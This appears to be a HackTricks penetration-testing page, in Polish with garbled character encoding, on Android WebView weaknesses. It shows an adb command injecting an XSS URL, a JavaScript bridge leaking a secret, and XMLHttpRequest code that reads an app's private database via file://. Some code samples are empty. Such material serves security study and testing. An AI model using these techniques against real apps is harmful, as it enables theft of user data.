# Webview Attacks
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Przewodnik po konfiguracjach WebView i bezpiecze艅stwie
### Przegl膮d podatno艣ci WebView
Krytycznym aspektem rozwoju aplikacji na Androida jest prawid艂owe zarz膮dzanie WebView. Ten przewodnik podkre艣la kluczowe konfiguracje i praktyki bezpiecze艅stwa, aby zminimalizowa膰 ryzyko zwi膮zane z u偶ywaniem WebView.
![WebView Example](<../../.gitbook/assets/image (1190).png>)
### **Dost臋p do plik贸w w WebView**
Domy艣lnie WebView zezwala na dost臋p do plik贸w. Ta funkcjonalno艣膰 jest kontrolowana przez metod臋 `setAllowFileAccess()`, dost臋pn膮 od poziomu API Androida 3 (Cupcake 1.5). Aplikacje z uprawnieniem **android.permission.READ\_EXTERNAL\_STORAGE** mog膮 odczytywa膰 pliki z pami臋ci zewn臋trznej, u偶ywaj膮c schematu URL pliku (`file://path/to/file`).
#### **Wycofane funkcje: Uniwersalny dost臋p i dost臋p do plik贸w z URL**
* **Uniwersalny dost臋p z URL plik贸w**: Ta wycofana funkcja pozwala艂a na 偶膮dania mi臋dzy 藕r贸d艂ami z URL plik贸w, co stanowi艂o istotne ryzyko bezpiecze艅stwa z powodu potencjalnych atak贸w XSS. Domy艣lne ustawienie jest wy艂膮czone (`false`) dla aplikacji celuj膮cych w Android Jelly Bean i nowsze.
* Aby sprawdzi膰 to ustawienie, u偶yj `getAllowUniversalAccessFromFileURLs()`.
* Aby zmodyfikowa膰 to ustawienie, u偶yj `setAllowUniversalAccessFromFileURLs(boolean)`.
* **Dost臋p do plik贸w z URL plik贸w**: Ta funkcja, r贸wnie偶 wycofana, kontrolowa艂a dost臋p do tre艣ci z innych URL schematu pliku. Podobnie jak uniwersalny dost臋p, jej domy艣lne ustawienie jest wy艂膮czone dla zwi臋kszenia bezpiecze艅stwa.
* U偶yj `getAllowFileAccessFromFileURLs()` do sprawdzenia i `setAllowFileAccessFromFileURLs(boolean)` do ustawienia.
#### **Bezpieczne 艂adowanie plik贸w**
Aby wy艂膮czy膰 dost臋p do systemu plik贸w, jednocze艣nie uzyskuj膮c dost臋p do zasob贸w i aktyw贸w, u偶ywa si臋 metody `setAllowFileAccess()`. W przypadku Androida R i nowszych domy艣lne ustawienie to `false`.
* Sprawd藕 za pomoc膮 `getAllowFileAccess()`.
* W艂膮cz lub wy艂膮cz za pomoc膮 `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
Klasa **WebViewAssetLoader** to nowoczesne podej艣cie do 艂adowania lokalnych plik贸w. U偶ywa URL http(s) do uzyskiwania dost臋pu do lokalnych zasob贸w i aktyw贸w, zgodnie z zasad膮 tej samej lokalizacji, co u艂atwia zarz膮dzanie CORS.
### loadUrl
To powszechna funkcja u偶ywana do 艂adowania dowolnych URL w webview:
```java
webview.loadUrl("")
```
Ofc, potencjalny atakuj膮cy nigdy nie powinien mie膰 mo偶liwo艣ci **kontrolowania URL**, kt贸ry aplikacja ma za艂adowa膰.
### **Obs艂uga JavaScript i schematu Intent**
* **JavaScript**: Domy艣lnie wy艂膮czony w WebView, mo偶na go w艂膮czy膰 za pomoc膮 `setJavaScriptEnabled()`. Nale偶y zachowa膰 ostro偶no艣膰, poniewa偶 w艂膮czenie JavaScript bez odpowiednich zabezpiecze艅 mo偶e wprowadzi膰 luki w zabezpieczeniach.
* **Schemat Intent**: WebView mo偶e obs艂ugiwa膰 schemat `intent`, co mo偶e prowadzi膰 do exploit贸w, je艣li nie jest starannie zarz膮dzane. Przyk艂adowa luka polega艂a na ujawnionym parametrze WebView "support\_url", kt贸ry m贸g艂 by膰 wykorzystany do przeprowadzenia atak贸w cross-site scripting (XSS).
![Vulnerable WebView](<../../.gitbook/assets/image (1191).png>)
Przyk艂ad eksploatacji przy u偶yciu adb:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView 鈥揺s support_url "https://example.com/xss.html"
```
{% endcode %}
### Mostek JavaScript
Funkcja ta jest dostarczana przez Androida, kt贸ra umo偶liwia **JavaScript** w WebView wywo艂ywanie **funkcji natywnych aplikacji Android**. Osi膮ga si臋 to poprzez wykorzystanie metody `addJavascriptInterface`, kt贸ra integruje JavaScript z natywnymi funkcjonalno艣ciami Androida, okre艣lan膮 jako _mostek JavaScript WebView_. Nale偶y zachowa膰 ostro偶no艣膰, poniewa偶 ta metoda pozwala wszystkim stronom w WebView na dost臋p do zarejestrowanego obiektu Interfejsu JavaScript, co stanowi ryzyko bezpiecze艅stwa, je艣li wra偶liwe informacje s膮 ujawniane przez te interfejsy.
* **Wymagana jest ekstremalna ostro偶no艣膰** dla aplikacji celuj膮cych w wersje Androida poni偶ej 4.2 z powodu luki umo偶liwiaj膮cej zdalne wykonanie kodu przez z艂o艣liwy JavaScript, wykorzystuj膮c refleksj臋.
#### Implementacja Mostka JavaScript
* **Interfejsy JavaScript** mog膮 wchodzi膰 w interakcje z kodem natywnym, jak pokazano w przyk艂adach, gdzie metoda klasy jest udost臋pniana JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
* Mostek JavaScript jest w艂膮czony poprzez dodanie interfejsu do WebView:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
* Potencjalne wykorzystanie przez JavaScript, na przyk艂ad, za pomoc膮 ataku XSS, umo偶liwia wywo艂ywanie wystawionych metod Java:
```html
```
* Aby zminimalizowa膰 ryzyko, **ogranicz u偶ycie mostka JavaScript** do kodu dostarczonego z APK i zapobiec 艂adowaniu JavaScript z zdalnych 藕r贸de艂. Dla starszych urz膮dze艅 ustaw minimalny poziom API na 17.
### Wykonanie zdalnego kodu oparte na refleksji (RCE)
* Udokumentowana metoda pozwala na osi膮gni臋cie RCE poprzez refleksj臋, wykonuj膮c okre艣lony 艂adunek. Jednak adnotacja `@JavascriptInterface` zapobiega nieautoryzowanemu dost臋powi do metod, ograniczaj膮c powierzchni臋 ataku.
### Zdalne debugowanie
* **Zdalne debugowanie** jest mo偶liwe za pomoc膮 **Narz臋dzi dewelopera Chrome**, co umo偶liwia interakcj臋 i dowolne wykonanie JavaScript w tre艣ci WebView.
#### W艂膮czanie zdalnego debugowania
* Zdalne debugowanie mo偶na w艂膮czy膰 dla wszystkich WebView w aplikacji poprzez:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
* Aby warunkowo w艂膮czy膰 debugowanie w zale偶no艣ci od stanu debugowalno艣ci aplikacji:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Ekstrahowanie dowolnych plik贸w
* Demonstruje ekstrahowanie dowolnych plik贸w za pomoc膮 XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## Odniesienia
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
{% hint style="success" %}
Ucz si臋 i 膰wicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Ucz si臋 i 膰wicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie HackTricks
* Sprawd藕 [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Do艂膮cz do** 馃挰 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **艣led藕** nas na **Twitterze** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel si臋 trikami hackingowymi, przesy艂aj膮c PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytori贸w github.
{% endhint %}